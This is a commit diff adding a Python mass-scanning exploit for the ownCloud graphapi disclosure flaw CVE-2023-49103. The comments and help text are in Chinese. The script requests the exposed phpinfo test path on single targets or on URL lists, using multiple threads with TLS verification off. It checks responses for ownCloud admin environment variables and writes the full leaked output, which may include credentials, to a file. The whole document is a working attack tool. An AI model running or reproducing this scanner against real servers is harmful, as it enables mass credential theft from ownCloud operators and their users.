|
| 1 | +# 作者: VulnExpo |
| 2 | +# 日期: 2023-12-05 |
| 3 | +import requests |
| 4 | +import argparse |
| 5 | +import threading |
| 6 | +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) |
| 7 | + |
| 8 | +def check_phpinfo(url, success_file=None): |
| 9 | + try: |
| 10 | + response = requests.get(url, verify=False) # Bypass SSL verification |
| 11 | + if response.status_code == 200 and 'OWNCLOUD_ADMIN_' in response.text: |
| 12 | + return response.text |
| 13 | + except Exception as e: |
| 14 | + pass |
| 15 | + return False |
| 16 | + |
| 17 | +def check_for_vulnerability(url, proxies=None, success_file=None): |
| 18 | + try: |
| 19 | + url_variant1 = url + "/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css" |
| 20 | + url_variant2 = url + "/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css" |
| 21 | + |
| 22 | + response_text = check_phpinfo(url_variant1) or check_phpinfo(url_variant2) |
| 23 | + if response_text: |
| 24 | + print(f"目标URL: {url} ") |
| 25 | + with open(success_file, 'a') as s_file: |
| 26 | + s_file.write(f"++++++++++++++++++\n") |
| 27 | + s_file.write(f"目标URL: {url}\n") |
| 28 | + s_file.write(f"响应内容: {response_text}\n\n") |
| 29 | + return True |
| 30 | + else: |
| 31 | + return False |
| 32 | + except Exception as e: |
| 33 | + print(f"发生异常:{e}") |
| 34 | + return False |
| 35 | + |
| 36 | +def scan_targets(targets, proxies=None, success_file=None): |
| 37 | + for target in targets: |
| 38 | + target = target.strip() |
| 39 | + check_for_vulnerability(target, proxies, success_file) |
| 40 | + |
| 41 | +def multi_threaded_scan(urls, proxies=None, success_file=None, num_threads=4): |
| 42 | + threads = [] |
| 43 | + |
| 44 | + for i in range(num_threads): |
| 45 | + thread = threading.Thread(target=scan_targets, args=(urls[i::num_threads], proxies, success_file)) |
| 46 | + threads.append(thread) |
| 47 | + |
| 48 | + for thread in threads: |
| 49 | + thread.start() |
| 50 | + |
| 51 | + for thread in threads: |
| 52 | + thread.join() |
| 53 | + |
| 54 | +if __name__ == '__main__': |
| 55 | + parser = argparse.ArgumentParser(description="OwnCloud 敏感信息泄漏漏洞CVE-2023-49103") |
| 56 | + parser.add_argument("-u", "--url", help="目标URL") |
| 57 | + parser.add_argument("-f", "--file", default="url.txt", help="目标URL列表,默认为url.txt") |
| 58 | + parser.add_argument("-t", "--threads", type=int, default=4, help="线程数,默认为4") |
| 59 | + parser.add_argument("-p", "--proxy", help="代理服务器地址(例如:http://localhost:8080)") |
| 60 | + args = parser.parse_args() |
| 61 | + |
| 62 | + if not args.url and not args.file: |
| 63 | + print("请使用 -u 指定要扫描的目标URL或使用默认文件 url.txt。") |
| 64 | + exit(1) |
| 65 | + |
| 66 | + if args.url: |
| 67 | + urls = [args.url] |
| 68 | + elif args.file: |
| 69 | + with open(args.file, 'r') as file: |
| 70 | + urls = file.readlines() |
| 71 | + |
| 72 | + success_file = 'success_targets.txt' |
| 73 | + |
| 74 | + proxies = { |
| 75 | + "http": args.proxy, |
| 76 | + "https": args.proxy |
| 77 | + } if args.proxy else None |
| 78 | + |
| 79 | + multi_threaded_scan(urls, proxies, success_file, args.threads) |
| 80 | + |
| 81 | + print("扫描完成,成功的目标已保存到 success_targets.txt 文件中。") |
0 commit comments